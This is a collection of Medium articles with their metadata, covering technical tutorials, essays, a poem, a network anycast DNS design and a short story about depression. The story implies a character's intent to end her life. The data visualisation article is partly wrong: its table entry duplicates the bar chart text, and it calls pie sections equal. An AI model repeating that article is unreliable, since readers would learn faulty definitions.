Takeaways | https://medium.com/swlh/does-fundamental-investing-work-attempting-to-predict-stock-success-with-machine-learning-c3dcc139c6c | ['Preston Lam'] | 2020-09-18 06:42:29.721000+00:00 | ['Machine Learning', 'Stock Market', 'Business', 'Data Science', 'Investing'] |
Build a Text Documents App in SwiftUI | FileDocument
Create a struct of type FileDocument . You will get an error message asking you to add the protocol’s stubs. Click “Fix” to add the required data. As you can see below, the protocol allows us to read and write documents through its read initializer and write function. You will also have the readableContentTypes static variable that will help us determine and limit the types of files we want to allow in the app.
What we want to do next is assign our readableContentTypes to UTType.plainText and create a new string variable to hold the user’s text input. Inside the initializer, get the file’s content, then try to assign its value to our text variable. | https://medium.com/better-programming/build-a-text-documents-app-in-swiftui-857411f30fde | [] | 2020-11-30 15:23:34.624000+00:00 | ['Mobile', 'Xcode', 'Swift', 'Swiftui', 'Programming'] |
The importance of Friends (not the sitcom) | Brown. It’s the colour of the 1970s.
This is my family, all dressed up in 1974. My father an embodiment of brown, from his beard to his suit, and the rest of us with our hair, the shoes, the cushion. Even the dog is on trend. Brown is definitely à la mode.
My mother and younger sister hedge their bets in beige. My older sister (always ploughing her own furrow) stands out in red. I am the cheery one on the right, unimpressed with the plethora of brown. What I don’t know is that years later a kaleidoscope of colour will be unleashed. A world of shoulder pads on steroids and explosions of permed hair. Bring on the 1980s.
We can’t decide the decade of our birth — it’s written in the stars, or the twinkle of our parents’ eyes. We don’t choose the year or the place, but we do get to choose our friends. Below is Frances — the friend I’ve known the longest. She the one making the face on the left. I am the perplexed one on the right. Poor Alison bravely wedged between us both. If you’re out there Alison, hello and just to let you know we’ve matured a little, although I’m just as bemused by life.
Frances is all grown up below. She has an army of children and a serious job, so this is what happens when she’s let loose. We’ve been friends since we were three, which is 94.11% of our lives. As Jim Rohn says we’re the average of the people we spend our time with, which is true. We pick up habits and we learn what’s ‘acceptable’ from those around us. It has a shadow side as well. Echo chambers where we hear what we want to hear and we reinforce what we believe.
But strength of friendship isn’t simply time spent together. It’s how they help us grow — stretch us, support us, make us better people. It is also how they make us feel. I ask myself:
How easy is a conversation when we haven’t spoken for a year?
Could I confess my worst blunders without judgement?
Would they help pick up the pieces if my life fell apart?
But enough of my friends. A jog down my memory lane isn’t a fun run for others. So, let me introduce different voices. I talked to 100 people in my Spoon by Spoon interviews. Conversations with men and women going through change. People with career doubts and worries. Those tackling ill health. Many with a foundation of disquiet. Here is what they said about their friends.
1) The good: friends that can help us
Mark said: “I’m lucky to have friends who are coaches. I am lucky that my friends have certain skills… a listening ear is one thing and some have beautiful souls.”
Cecilia had a challenging few years and her support network “has been really, really key.” Her family help, but she turns to friends for emotional comfort. “I know that if I’m low then they’re the ones I can speak to and get some support.” She has friends who help in different ways. “Other friends will very be very good if I want to go out and do something. They’re the people that will say yes and be really up for it. And if I need a travel partner, there’ll be certain people that I can go to for that.”
David was mildly depressed and his friends really helped him get back on track. “I had a really good network of friends who I spoke to.” He also went out to lunch with two friends every day. “It seemed like a bit of a luxury to go out for a lunch with plates and knives and forks. But it was fantastic. And that kept everything in check.”
2) The bad: we forget that our friends can help us
Sometimes we don’t help ourselves. Sometimes we hide ourselves away from our friends, the very resources that might help. Kiron found himself in a “downward spiral” when he started “looking at myself and not liking myself, or what I was becoming. I didn’t think to get out the door and do any exercise. Because I just couldn’t. I lost all my motivation.”
Where he used to enjoy catching up with others he started “finding excuses to cancel the games that I ran with friends that I used to really look forward to. I’d have a few weeks where I’d be really eager and do it and then it’d be a couple of weeks where I just couldn’t muster the motivation. I’d make excuses not to meet up with people face to face.”
Sybille had a challenging time over several years. “I found it difficult to connect with others, to make friends. I isolated myself really, I had very few friends. I would cut myself off, and I would have these feelings that nobody wanted to talk to me or have anything to do with me. Because I felt that I was rejected, then I was rejecting others.”
3) And the ugly: sometimes we just need to move on
Rebecca went through a difficult separation. “I know it’s a massive cliché, but I’m going to say it because it’s very true. When you go through something like that you do find out who your friends are.” She had a few surprises. “People that I wasn’t particularly close to but who were completely there for me. And then other people who’ve been in my life for years and years, who let me down.”
Yiorgos wanted to do something more meaningful with his life. “When I made that transition, I actually didn’t plan for it very well.” It was tough for him. “I didn’t have a partner at the time, so I had to get through it, more or less by myself, as my family were in Greece.” It impacted some of his relationships. “It helped me actually test who can be counted as a friend.” He ended up “parking” two of his friends. “It just felt like a betrayal as well. So, I haven’t even spoken to them since. In times like that you can really test things and just see which friendships are worth keeping and which are not.”
Whilst we talking about people from Greece, Aristotle, the Greek philosopher, says there are three types of friends. Friendships of utility — those that are useful to you. Friendships of pleasure — people whose company you enjoy. And friendships of the good. They take time to build and are deeper and longer lasting. We’ll have similar values and goals and it’s a friendship based on respect and admiration and we don’t have to pretend, we can just be ourselves. Aristotle says good friends are invaluable for a happy life.
Suzanne was having a difficult time in her career and couldn’t be her true self at work. She decided to take some time off and go on holiday to Scotland with a good friend. “It was one of the best holidays I’ve ever had because I suddenly realised all my needs were being met in those 10 days in the camper van.”
She felt a real sense of identify that she hadn’t had for ages. “Fooling around with someone you get on with and have a connection with. Someone who laughs at your stupid jokes and who thinks you’re funny.” Even being confined in a small space wasn’t a problem. “You’re part of a team. You have to keep that camper van running when there’s a problem. I guess it was opposite to the job. The freedom of driving and movement — I found it quite soothing.”
Camper vans seemed to be a thing in Spoon by Spoon conversations. So here is one more from Emily. “I hate the rat race. I just feel like I’m 30 and my friends are getting married and having babies and I want to go and travel the world and live in a camper van. I just want to elope — it would be really cool. I spend a lot of time on Pinterest looking at camper vans.”
I’m with Suzanne and Emily — who doesn’t love a camper van? Back in 1970, my extended family clearly do. It’s early days for brown though. Yet my father (on the right) is ahead of the pack with his trousers and shoes. A style icon — who knew? In four years he will have an epiphany. Grow a beard and it will match his outfit. Brown all the way to the 1980s. | https://medium.com/@charlotte-sheridan/the-importance-of-friends-not-the-sitcom-b5c6dcfb27a9 | ['Charlotte Sheridan'] | 2021-01-04 08:23:31.316000+00:00 | ['Friendship', 'Friends'] |
Installing and Running Tensorflow-GPU using Anaconda on Windows | Installing and Running Tensorflow-GPU using Anaconda on Windows
How to install Tensorflow-GPU on Windows 10
Requirements; Anaconda, A PC with Windows 10 OS, Internet connection and at least 1GB of data.
1. Run Anaconda
If you do not have Anaconda installed, you can download it from here and install then search for Anaconda in the Windows search bar. Run the Navigator and Anaconda prompt.
2. Create an Environment
You can create a new environment by typing the following command on Anaconda Prompt.
conda create -n gputensorflow python=3.7
For the purpose of this article, the environment name is gputensorflow and we’re installing python version 3.7, you can choose any environment name.
3. Activate the Environment
conda activate gputensorflow
4. Install the ipykernel
To install the kernel, enter the following command;
pip install ipykernel
Then:
python –m ipykernel install --user --name gputensorflow --display-name “gputensorflow”
5. Installing Tensorflow-GPU
conda install tensorflow-gpu
Anaconda installs Tensorflow-GPU and a number of libraries. This may take a longer time than other installations.
6. Restart your PC (optional)
7. Run Anaconda and the TensorFlow environment
When you open the Anaconda Navigator, click on the arrow beside the “Applications on” and click on your environment.
8. Launch Jupyter Notebook
You should have something like this 👇
There you go, you can now create your Neural Networks and other stuff with TensorFlow. You can also install other libraries.
I hope the article was helpful, If you encountered any challenge while following the steps, you can send a Direct Message to me on Twitter or drop a comment in the Response section. | https://medium.com/datadriveninvestor/installing-tensorflow-gpu-using-anaconda-on-windows-ac23b66d05f1 | ['Ekemini Okpongkpong'] | 2020-08-24 20:18:53.634000+00:00 | ['Anaconda', 'Python', 'Windows 10', 'Deep Learning', 'TensorFlow'] |
Daily Spiritual Message from The Moon | Daily Spiritual Message from The Moon
How can we support another?
Emotions are running high this month and many people could be feeling lost and a sense of hopelessness...
But remember this is also just an illusion
When we transform our feelings as our beacon, than we can begin to see a new picture of our current reality
Today would be a wonderful opportunity to share a sense of hope and compassion with another
The light of divine love is becoming stronger day by day
https://m.facebook.com/story.php?story_fbid=3626103050762042&id=100000871480811 | https://medium.com/@tammerontv/daily-spiritual-message-from-the-moon-e8b31e249868 | [] | 2020-12-07 15:35:09.448000+00:00 | ['Monday', 'Tammeron', 'Moon', 'Astrology', 'Hope'] |
An Unwanted Friend: Story of Depression | Chapter 1: Dark Theater
A very first morning of New Year, she tried to open up her eyes but again that relentless pressure which she carried on her head unwillingly made her curl up and close her eyes again. Due to that unbroken chain of insomniac nights, she was choking, suffocated of herself, tired of being tired; she tossed and turned on her bed.” For how long will she wear this ruinous dress of insecurities making her more miserable and fragile? “She asked herself. In her eyes, she had a lot of dreams; being fainted due to this haze of melancholy. The clock is ticking, her soul is collapsing; her body is crumbling, the whole room is whirling, she felt numb. Unfaltering maze and continual haze, she was facing a weird phase.
3:00 AM in the morning, she could hear the continuous ticking of the clock but in it, breathing of her roommate was assorted. She tried to circumvent this continuous stinky and malodorous exhaling that has made her more nauseous and sick. “When will this unwanted visitor leave her alone? Will she ever be able to feel free? She asked herself again. But before she could answer her thoughts she couldn’t sway nausea and despite all the weight which she carried, she rushed toward the toilet; she threw up. It will be the last vomit she thought and let the water flow. She washed her face and looked into the mirror, “what have I become?” looking at her dark circles and pale skin she asked herself again. A disgusting piece of a randomly assembled molecule! A voice from afar answered. Another river of tears flooded from her eyes. She ignored this devastating splash of teardrops and turned the water shower on. Didn’t bother to undress and sat under this shower, hoping as it will wash away all of her insecurities. She turned the shower off. Lying in water tub she closed her eyes and told herself,” it will be the last day, my miseries will end today and finally, my soul will be free, my whole body will be calmed and my heart finally will attain peace.
Images from past starting revolving around her mind as if she was watching a black and white movie in a dark theater of thoughts. | https://medium.com/@aroojtarshad/an-unwanted-friend-story-of-depression-ad0a1c123ede | [] | 2020-12-24 06:28:29.899000+00:00 | ['Untold Stories', 'Awareness', 'Depression', 'Unheard Voices'] |
The best big data visualisation techniques | Nowadays, various industries collect data daily and have access to technological tools and technique to extract useful insights from it. To get the most from their gathered data, enterprises need to visualise it correctly. So, in this post, we’ve outlined the best big data visualisation techniques.
Over the years, many visualisation techniques have been developed, allowing companies to analyse information along with showing it. Nowadays, the most used visualisation methodologies include histogram, line plot, pie chart, table, bar chart, flow chart, scatter plot and treemap.
Histogram
A histogram represents the distribution of a continuous variable over a while. This technique usually shows data in Machine Learning along with underlining frequency distribution, skewness and outliers.
Line plot
This is the most simple big data visualisation technique. It represents the relationship and dependence of one variable to another.
Pie chart
Mostly used in presentations, these graphics show the proportions and percentages between categories by dividing a circle into equal sections. Each arc length mirrors a proportion of each class, while the full circle is the sum of information and is equivalent to 100%.
Pie charts allow readers to have a quick idea of the proportional data allocation.
Table
This type of methodology compares quantities of different categories or groups. Bars represent values and can be horizontal or vertical, with their length or hight depending on the rate.
Bar chart
This type of methodology compares quantities of different categories or groups. Bars represent values and can be horizontal or vertical, with their length or hight depending on the rate.
Flow chart
A flowchart is a diagram describing processes and is composed of blocks connected by arrows. Each block contains data of a step in the process while arrows establish the direction of the flow.
Scatter plot
Scatter plots represent a shared variation of two data items. Each marker of the plot represent an observation and its position indicate the observation value. When more than two aspects are considered, a scatter plot matrix is generated; this is a series of graphics showing every possible pairing of the variables considered in the visualisation.
Treemap
Treemaps display a large volume of hierarchically structured data. These maps are composed of different rectangles which sizes and orders depend on a quantitative variable.
Rectangles show the hierarchical levels of treemaps. Quadrilaterals at the same hierarchical level represent a column or an expression in a table, while each rectangle denotes a category in a column.
When working with big data, many businesses have issues to show the information analysis results in a meaningful and clear way. However, by using specific tools and techniques, enterprises can get over to this challenge. Do you use any of the methodologies outlined above? Let us known by commenting below! | https://medium.com/dative-io/the-best-big-data-visualisation-techniques-6b748d3dac5e | ['Roberta Nicora'] | 2020-01-02 08:46:02.749000+00:00 | ['Data Analysis', 'Big Data', 'Data Visualization', 'Information'] |
Recap: Enigma Open Community Call — January 2020 | Thanks to everyone who asked questions! It’s really, really helpful. Here is a what you asked, along with our answers:
From Ian of SecretNodes.org: Are there any other details you can give regarding the multi-worker setting?
Not at this point. It is a huge architectural change. There are two aspects, and one is more scientific in terms of what it means for incentives and consensus. Also, there is an engineering challenge of actually plugging it into the system. We have not begun to explore it in detail.
Is test ENG available to anyone who is running a node?
We did a snapshot in 2019 of ENG holdings, and tENG is being distributed based on those holdings. If you’re interested in running a test node, please reach out via the dev forum and we can help you get involved. Our plan is to create a tENG faucet in order to allow people to use Salad on testnet. Learn more in our comprehensive blog post about Secret Nodes:
Will the Salad mixer integrate with other wallets?
Yes! One of the goals of our initial work integrating with MEW and MetaMask is to streamline that process. We are developing a guide for anyone building or maintaining a wallet. Another exciting step will be to integrate with other types of applications. We also plan to launch with a standalone interface, so everyone can learn which gets the most traction, which is easiest for users, and which contributes the most liquidity in the mixer because that improves privacy overall.
How does remote attestation work in the Enigma Network?
Essentially, it currently involves two steps:
registration ~ involves contacting Intel servers (only happens once) after registration ~ only touches the Enigma network
When launching a worker to be registered in the Enigma network, the worker uses Intel’s APIs inside of the processor/enclave to generate a new key that is wrapped in a quote (signed proof that Intel can attest that your node is a genuine SGX enclave). At this point, a report is delivered to the Enigma contract, where it is verified on Ethereum. It validates our code properly generated a new key and there is a valid attestation.
Going forward, the remote attestation process is very different. Now, any operation performed by the worker doesn’t need to involve anything. Instead, our contract on Ethereum will make sure that every interaction is properly signed by the generated key. Because this key was generated inside of an enclave, we know it can’t be tampered with.
Are you in contact with any companies or developers at companies who are interested in building on the Enigma testnet?
There are many interesting use cases and collaboration ideas! Within the public blockchain ecosystem, there are certain access control use cases that we have seen. 2key is a company with whom we are scoping out digital rights management. Also, we have been exploring possible Salad integrations with DeFi applications. Recently, our team had productive conversations with Bloom and ConsenSys Health. More info will be available in due time.
How did you make the determination to work with Ethereum? Are you planning for Enigma to work with other smart contract platforms?
Deciding to focus on Ethereum was an obvious choice because most of the development ecosystem in public blockchains revolves around Ethereum. As for other platforms, we have started exploring interoperability projects like Cosmos and Polkadot.
[48:23–END] Calls to Action!
There are so many ways to get involved with Enigma’s ecosystem! You can:
Stay tuned for additional updates on Genesis Game and mainnet! | https://blog.enigma.co/recap-enigma-open-community-call-january-2020-1de1c703767f | ['James Waugh'] | 2020-01-24 20:46:06.140000+00:00 | ['Community', 'Smart Contracts', 'Ethereum', 'Blockchain', 'Privacy'] |
A Dooring | A Dooring
Image by PIRO4D from Pixabay
I knock
and knock again
the door so smooth and ancient
it resists me out of
a quarter century
habit
I hammer my fists
into its deaf planks,
shout my love into
its hardened varnish,
whisper open, please
beg, cry, induce guilt
I consider drastic measures:
a battering ram, hatchet, ultimatums, but
drama will get me nowhere
I imagine you on the other side
mystified by the lock installed
long before we met.
I sit with my back to the door and think:
morning may dawn
I may no longer knock,
perhaps. I think:
if I am brave,
I may walk away.
Instead, for now,
I dance my joy
just outside the door
waiting for you to remember how
to open it from the inside,
and join me | https://psiloveyou.xyz/a-dooring-5a0d3e310d21 | ['Mary Poindexter Mclaughlin'] | 2020-12-13 13:03:33.971000+00:00 | ['Poetry Sunday', 'Relationships', 'Emotional Intelligence', 'Self Love', 'Love'] |
Developing fast & reliable iOS builds at Pinterest (Part one) | By Rahul Malik | iOS Platform Tech Lead
At Pinterest we’re focused on helping people discover inspiring ideas, from dinner recipes to try, home and style products to buy, to places to travel. Building the best products for mobile is a critical part of that, with 80% of all Pinners access Pinterest via mobile apps. On the iOS team specifically, we’re constantly working to improve that experience as efficiently and quickly as we can, and giving our team the best development and testing environment is a key step in that.
We recently looked into ways to streamline that process, and set out to improve the speed and reliability of our iOS builds on local and continuous integration environments. In addition, we began modularizing our application into standalone frameworks and needed a system to support that migration. We reviewed multiple tools, including Xcode, Cocoapods, Buck, and Bazel. We wanted to introduce a more stable foundation for the future, which is central to our ability to rapidly iterate and release new features to Pinners.
After comparing Xcode, Cocoapods, Buck and Bazel, we identified Bazel was the best fit for our goals to build a foundation for an order of magnitude improvement in performance, eliminate variability in build environments and adopt incrementally. As a result, we’re now shipping all our iOS releases using Bazel which has already resulted in wins, including:
Local Development
Faster builds: Reduced clean build time from 4m 38s to 3m 38s, a 21% improvement.
Local disk caches allow for instant rebuilds for anything you’ve built before (other branches, commits, etc).
Environments are identical between CI and local environments, so build issues are easy to reproduce.
Increased automation: Tasks like code generation are included as part of the build graph.
Continuous Integration
Every build is an incremental build: Since Bazel is reproducible, we haven’t performed a single clean build on CI in over a year.
Build once, reuse everywhere: After introducing remote build caching, build times dropped under a minute and as low as 30 seconds since we don’t need to rebuild anything that has been built on any machine
Reduced time to land code: Reduced build time from 10m 24s to 7m 34s, a 27% improvement.
Reduced time to get changes to beta testers: Beta build time went from 14m 32s to 7m 52s, a 45% improvement.
Faster test execution: Test runs are instant if the modified code does not affect the test.
Higher build success rate: Success rate of builds improved from around 80% to 97%-100% when running build tasks with Bazel.
Moving to a future of fast and reliable builds
Build speed is a constant bottleneck for developers since we’re using compiled languages (Objective-C/C++). But build speed is hard to quantify. It includes of builds in different environments, like continuous integration or local development. We also work with a variety of workflow scenarios, like clean builds, incremental builds, branch switching, rebasing, reverting changes, and others. You can’t improve what you don’t measure, so improving build speed requires tracking a variety of scenarios to allow us to pinpoint regressions and focus our performance efforts.
We can make builds faster by a combination of doing less work or performing work more efficiently. This might involve using different tools, improving parallelization, or updating the architecture of the project to require fewer source files. Having strong practices around maintaining a modular architecture and cleaning up dead code that is unreferenced or related to completed experiments will help maintain / improve build speeds. We use a variety of in-house tools and scripts to identify dead code. For experiments, we utilize automation that adds clang annotations to deprecate methods and constants that are related to the experiment which allows the compiler to warn developers that the experiment is ended and code should be removed. Identifying unreferenced code is performed adhoc by developers by periodically running tools that inspect the header include graph of our build and look for files that are have zero references recursively.
Our build process needs to be both fast and reliable. Builds are reliable if they are reproducible. Reproducible builds are important not just for reproducing bugs, but also for ensuring we ship the exact version of the app that we’ve developed and tested against. We can only achieve that if the build environment — the inputs and outputs — are consistent.
Changes to the environment can greatly affect the end product and introduce variability. A consistent environment guarantees the application behaves the same regardless of if it was built on a developer’s machine or via continuous integration, and it eliminates time spent figuring out why a build succeeds in one environment but fails elsewhere.
While the ideas and explorations are focused around iOS, the goals of fast and reproducible builds are one that we all share and will allow us to scale client engineering.
Challenges
The decision to focus on improving our build process was rooted in the impact it was having on developer productivity. As we grow our team and product, it’s paramount that we invest in our developers’ ability to work with a consistent and fast build system.
Scale: As we scale client engineering, the amount of time spent supporting developers, maintaining or reducing build times and improving reliability scale as well. The number of engineers that support developers does not necessarily scale proportionally with the number of developers, and Xcode doesn’t contain tools to profile builds when performance degrades.
Modular architecture: We’ve begun refactoring the core frameworks that compose our platform from our app in order to improve our overall architecture, documentation and quality. This adds complexity because it requires a build system that can manage a dependency graph of build targets which need to be configured and compiled in a specific order. While not impossible in Xcode, the configuration and maintenance of such a graph would be prohibitively difficult to maintain over time due to a lack of a expressive configuration API.
Build instability: Outside of our codebase, there are a number of tools written in different languages (Ruby, Python, Bash, etc.) that require specific versions and toolchains that must be identical to create consistent builds. These variations can result in errors that are hard to reliably reproduce. It was not uncommon for developers to have a build pass locally but fail on continuous integration, and vice versa. Only certain machines had the requirements necessary to create a release candidate. Local state can become corrupted, which required performing clean builds. That wastes time.
Task automation & code generation: We rely on code generation to create our immutable models (via Plank) and logging infrastructure (via Thrift). While it has support for run script phases, Xcode can’t introduce dynamic workflows like code generation or general task automation to be a part of the build process, and instead requires manually integrating generated sources, putting more work on developers and onboarding education. This also requires adding generated artifacts to version control, which increases our repository size and git clone performance.
Shared resources: The integration path for external repositories has not been clear and has historically resulted in periodically copying resources from other repositories. We have explored options like git subtree or git submodule, but this required an increased investment in employee education and a change to developer workflows. That introduced confusion and, again, wastes time. Xcode does not have any support for declaring external build dependencies, so we would have to rely on external tooling to provide this integration.
Solutions
We wanted solutions that would allow us to overcome these challenges with tooling and automation instead of increased load on developer education and process — and waste less time. We primarily optimize for:
Rapid iteration: Our solution should provide functionality to greatly improve and maintain build speed and developer velocity over time, likely achieved through better parallelism and advanced tooling features.
Sandboxed development: A consistent environment that allows us to have reliable builds and minimizes variability and impact on developer productivity.
Monorepo-like development: All sources should still remain in one repository. This minimizes the amount of work and context switching required to make changes across the application.
Profiling, Monitoring, Analysis: We need tools that give us insight into our build system to identify issues. Our solution needs to allow us to visualize the actions performed throughout the build and their respective durations. Assuming we have this, we will be able to track detailed changes on a frequent basis.
Incremental Compilation: Once we build the client once, we should be able to safely incrementally build through all workflows. That should include switching branches, reverting changes, or other parts of the workflow. Clean builds are by far the most expensive builds and are usually performed when local state is corrupted or the developer is trying to diagnose an unknown build issues.
Extensible for the future
As our application grows in complexity and our needs evolve we must ensure that we have enough extensibility in our build system to allow for change to be develop. But it must not be so specific in that it hinders further dynamic automation in our build process. This may range from being able to automate tasks to integrate third-party static analysis, custom toolchains and the in-house tools we develop at Pinterest.
Changing a build system is a significant change, and we cannot support an approach that isn’t possible to introduce incrementally. An all-or-nothing solution would require potentially pausing development or maintaining a long-lived fork and performing a risky migration atomically across developer environments and CI systems.
Stay tuned for more to come in part two! | https://medium.com/pinterest-engineering/developing-fast-reliable-ios-builds-at-pinterest-part-one-cb1810407b92 | ['Pinterest Engineering'] | 2019-02-15 02:31:54.593000+00:00 | ['iOS', 'Continuous Integration', 'Xcode', 'Pinterest', 'iOS App Development'] |
About Me — Sheryl Shiju Sam. Writer and blogger | About Me — Sheryl Shiju Sam
I am a passionate storyteller.
I firmly believe that good stories make up life, whether it’s at work or play. Persuasive communication has driven change throughout history and that’s what I strive to do with my writing. I treat my work as art and dedicate my time to craft words that bring hope and curiosity.
I am also a big fan of creativity. From creativity in thinking to action, I champion all things creative. A life devoid of creativity lacks vibrancy.
When I am not writing, I am a mom to two toddlers, so you can take a wild guess how that is. It’s while dealing with the ups and downs of parenting that I started to take my gift of writing seriously and have found solace in it. I also try to help others to embrace all of life’s flavors, the sweet, the salty, and the bitter.
Alongside being a stay-at-home mom to my kids, I am a freelance writer and blogger.
image by author
I also have prior experience of working with non-profits as a communications person and storytelling was a big part of my job to influence change and raising resources.
Please do give me a shout out if you are looking to tell good stories on life, parenting, self -improvement, Christian faith, and the likes.
I write for pleasure but a girl’s got to eat too, right? | https://medium.com/about-me-stories/about-me-sheryl-shiju-sam-a823ace5f9e2 | ['Sheryl Shiju Sam'] | 2020-11-27 07:22:44.869000+00:00 | ['Writer', 'Introduction', 'About Me', 'Writers On Medium', 'Writing Life'] |
So, I’m trying to figure out how to approach this story in a way that is as enjoyable as possible… | So, I’m trying to figure out how to approach this story in a way that is as enjoyable as possible without being as heavy as it could be. There’s a lot of humor in my life. This is my family‘s coping mechanism. When all else fails make a joke. If something hurts, you make a joke. If someone dies, you make a joke. This is how we deal with stress. So I hope you all will understand the humor that underlies the very serious nature of the stories.
I guess that 2020 for me started more in 2019 when I had to euthanize our cat on Friday, 13 December. Unfortunately it was not a surprise, but working in the veterinary field, it’s not any better when it’s your own. So that was Friday. The following Tuesday my partner had to have his appendix removed. Did I mention this is the week before Christmas? And that my sister had recently discovered her husband having an affair after 16 years of marriage? So, the logical assumption for me was that 2020 was gonna be looking up right? Ha! Anyway, further proof that 2020’s awfulness is too massive to be contained in one year.
I’ve decided to do this in the format of a choose your own adventure book. I don’t know if those are still a thing, but they used to be and they are freaking awesome. My theory is this; I’m going to give topic options for my next post. If anyone reads this or gives a damn, please feel free to weigh in on which topic you would choose to read about next. How’s that sound? Cool.
drumroll please………..
A) You know what doesn’t go well together? Chemo and COVID.
B) “SEESTER!” AKA my sister is the best baddest bitch I know
C) My baby (who’s 9, going on 19)
D) my baby daddy (This chapter may not be suitable for younger viewers. Viewer discretion is advised)
Here’s my idea. I’m going to wait a week to see if anyone reads this or cares and if no one responds, I’m just gonna write about whatever the hell I feel like. Ok, so that’s it for now. | https://medium.com/@2clparcell/so-im-trying-to-figure-out-how-to-approach-this-story-in-a-way-that-is-as-enjoyable-as-possible-acd06bdaee9b | [] | 2021-08-27 13:58:09.388000+00:00 | ['2020', 'Humor', 'Autobiography', 'Travel', 'Kidnappings'] |
Shop Keeping, Episode 1 | Shop Keeping, Episode 1
“Nice things, made by nice people”
That’s my reply to “What do you sell, Anne?”
When the government informed me that I was no longer entitled to the state pension at age 60, I realised I needed work. I looked for a little shop.
My Unique Selling Point? Absolutely no retail experience. Not even a “Saturday Job”. So how would that go?
I enjoy cooking; my hobby was writing a blog about free range eggs; cookware accumulates in my kitchen cupboards. So that settled it. I would have a kitchen shop.
Easy decision. Next, the practicalities.
I found a shop, I hired tradespeople, I started looking for nice things to sell. (I’ll pick up the story of “nice things” in a future episode. This one is “nice people”)
Before I bought even one item of stock, I made a decision. Not only did I have to like the product, I had to like the person supplying it. From the Jam Maker to the Enamelware Importer, I was looking for a colleague. Faceless companies could offer me fabulous items at fabulous prices. I’ll say “No thanks”. My suppliers are people, our transactions and deals are conversations.
A local woman who makes cakes and snacks (Yes Lesley, you!) jokingly said I should stop selling and start giving business advice. Well that’s not happening; but it started me thinking about my shop. Primarily, why is One Basket, Kelso so idiosyncratically “me”? Part of the answer is, my suppliers are my colleagues. It means a lot to me that I can tell customers about the products: who made them, where they come from, how I discovered them… In simple terms, they’re made by Nice People. | https://medium.com/@onebasket/shop-keeping-episode-1-da00f1e4a9ed | [] | 2019-11-16 23:37:47.217000+00:00 | ['Family', 'Retail', 'Women In Business', 'Cooking', 'Startup'] |
Anycast DNS with Raku Net::BGP | I had a problem at home. I wanted to be able to do maintenance on my recursive DNS server without impacting my home network too significantly. It is exactly the kind of problem that an enterprise network or an ISP might deal with: sometimes you need to do work on a server.
I’ll admit my home network is a bit more complex than most. I’m a network engineer and open source networking software developer, so I built it more like an enterprise or small service provider than a typical home network. I need a place to try new technologies and connect home-built network devices and software stacks for testing. I even have multiple sites, two of which are shown here — my house and some data center space I rent.
Network Design
Here’s a greatly simplified diagram of what this network looks like:
Highly Simplified view of Joelle’s Home Network
The home network has several network segments, my user (my wife), some additional routing infrastructure not shown, and some servers. One of those servers runs a recursive DNS server. I have two connections to the internet for redundancy, one via DOCSIS and the other via DSL.
The datacenter network is a bit simpler — just one router/firewall, one internet connection (with a lot more redundancy than I would have at home) and some servers. Again, one of those servers is a recursive DNS server.
Connecting these two sites, I use two encrypted VPN tunnels between the firewalls. One VPN tunnel uses the path across the internet using the cable modem at home, the other uses the path that transits the DSL modem. I run BGP across these tunnels, using different autonomous system numbers at each site. Routes sent (either direction) across the DSL (slower) home connection are advertised with a prepend, so that if the cable route is up, the routers on both sides will see those routes advertised with shorter paths.
For instance, the routing table (I’ll focus on IPv4, although IPv6 is done in a similar way) on the datacenter firewall/router looks like this:
Routing Table as Seen at the Datacenter
The first prefix is the aggregate I announce from the datacenter. The others are my home or not relevant (A vehicle and my test lab both have unique ASNs and use that to advertise routes towards my house). In particular, 192.168.144.0/20 and 192.168.160.0/24 are used in my home. You can see the two next hops — one cable and one DSL, with the DSL path having 65000 appear twice in the path instead of once (it is prepended).
Each site also has some additional routes used within the site learned via that site’s IGP.
Finally, each site has a default route to the internet (with some work done at my house to allow failover of this default route from cable to DSL when the cable connection goes down). Only internal traffic is routed via the encrypted tunnels. Because of this design, should the datacenter go down completely, my house will still be able to reach the internet. Likewise, if my house should go offline, the datacenter too will be able to reach the internet.
The Problem
Okay, I know that was a lot of information! And, really, this is relevant to environments other than my own. Let’s simplify the problem. Let’s assume we have only one site, but we want to install two DNS servers, so that we can do maintenance on one without impacting users at that site.
Of course DNS has a traditional solution for this: you can configure clients to use multiple DNS servers. Historically that has been problematic — DNS requests would always go to the first configured server, then, after a timeout, the second server would be contacted. The timeout introduced a significant delay, often making applications fail or timeout if the first DNS server failed. While newer operating systems handle this more gracefully, older operating systems continue to use the timeout mechanism to determine if a name server is unresponsive.
One solution is to share a single IP address between two servers, using something like a load balancer (either a dedicated hardware device or software that acts similar to a load balancer). This can be configured in many ways, the simplest would be a strict failover configuration. It might look like this:
Single-Site DNS Redundancy Using a Load Balancer
This solution works fine, although it is difficult to split these servers across multiple sites. What if you want DNS #1 in one site, and DNS #2 in the other?
My Solution
That’s where we go back to my home network. I have a DNS server in a datacenter and another DNS server at home. As a refresher, my network looks like:
I already have a routing protocol, in this case BGP, running between the two sites. Even though my network does not speak to any ISP via BGP, I use it within my network to distribute routes between sites.
My solution is to take an address within my network’s address space (I use RFC1918 addresses internally) and assign it to the virtual “DNS” function. Since I’m not using 192.168.149.* for anything, I chose 192.168.149.2 for my DNS server’s virtual address. This address will live on the DNS server in each site, and the closest DNS server . This is a pretty well-understood technique in DNS and is typically called “Anycast DNS.”
Each server will advertise, with BGP, to the router it connects to (in my case, router+firewall), this anycast IP. When both DNS servers are up, the datacenter firewall will see the shorter 1-hop BGP route to the datacenter DNS server and use it, while my home will use the shorter (in the home) 1-hop BGP route to the home DNS server.
If one of the servers goes down, let’s say my datacenter server, the datacenter will still see the 2-hop BGP route to the home DNS server, and will switch over to that.
How do we get the address to live on both servers, and get this to be advertised to the firewalls? Let’s walk through this step-by-step.
Step 1 — Installing a DNS Server
Each DNS server needs to be running DNS server software. I’m using Ubuntu for the servers, so I’ve chosen Unbound as my DNS server. There is nothing special with this configuration, it is a standard recursive DNS server at this point. Each server has a “unicast” IP address assigned to it — that is, each server has a unique address. In my case, this is 192.168.65.10 (datacenter) and 192.168.150.53 (home). There are tutorials online to configure this.
We test our unicast DNS server installation by querying it from another machine. For instance, to test the datacenter DNS server, I issue this query:
A Successful Query for www.google.com Using the Datacenter DNS Server
Step 2 — Adding Anycast Addresses to the Server
Next, I add the anycast address I’ve chosen — 192.168.149.2. The important thing is that this address not be associated with any network configured for any interface on any of my routers. I couldn’t use this address if I used 192.168.149.0/24 for workstations, for instance. Since I don’t, it’s fine. The choice of address here is relatively arbitrary.
So, I need to add 192.168.149.2 to each server. This address will be configured as a “loopback” address. In other words, it’s only reachable via the server itself right now. Client computers won’t be able to connect to 192.168.149.2 yet, even after we add it to the loopback interface.
